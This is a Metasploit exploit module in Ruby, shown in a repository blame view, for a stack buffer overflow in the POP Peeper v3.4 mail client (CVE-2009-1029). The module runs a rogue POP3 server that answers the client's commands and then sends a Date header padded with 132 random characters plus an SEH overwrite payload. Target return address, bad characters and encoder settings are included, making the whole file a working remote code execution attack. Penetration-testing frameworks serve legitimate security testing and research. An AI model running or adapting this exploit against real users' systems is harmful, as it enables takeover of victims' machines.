Files
metasploit-gs/modules/exploits/windows/misc/poppeeper_date.rb
T

100 lines
2.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'POP Peeper v3.4 DATE Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in POP Peeper v3.4.
When a specially crafted DATE string is sent to a client,
an attacker may be able to execute arbitrary code. This
module is based off of krakowlabs code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-1029' ],
[ 'OSVDB', '53560'],
2015-10-27 12:41:32 -05:00
[ 'BID', '34093' ]
2013-08-30 16:28:54 -05:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'AllowWin32SEH' => true
2013-08-30 16:28:54 -05:00
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x0a\x20\x0d",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 27 2009',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
])
2013-08-30 16:28:54 -05:00
end
def on_client_connect(client)
ok = "+OK\r\n"
client.put(ok)
end
def on_client_data(client)
2014-05-10 23:31:02 +02:00
return unless regenerate_payload(client)
2013-08-30 16:28:54 -05:00
ok = "+OK\r\n"
client.put(ok)
client.get_once
ok = "+OK\r\n"
client.put(ok)
client.get_once
ok = "+OK 1 100\r\n"
client.put(ok)
client.get_once
ok = "+OK\r\n1 " + rand_text_english(4) + "\r\n.\r\n"
client.put(ok)
client.get_once
ok = "+OK 1 100\r\n.\r\n"
client.put(ok)
client.get_once
ok = "+OK 100 octects\r\n"
client.put(ok)
sploit = "Date: " + rand_text_alpha_upper(132) + generate_seh_payload(target.ret) + "\r\n.\r\n"
client.put(sploit)
handler
service.close_client(client)
end
end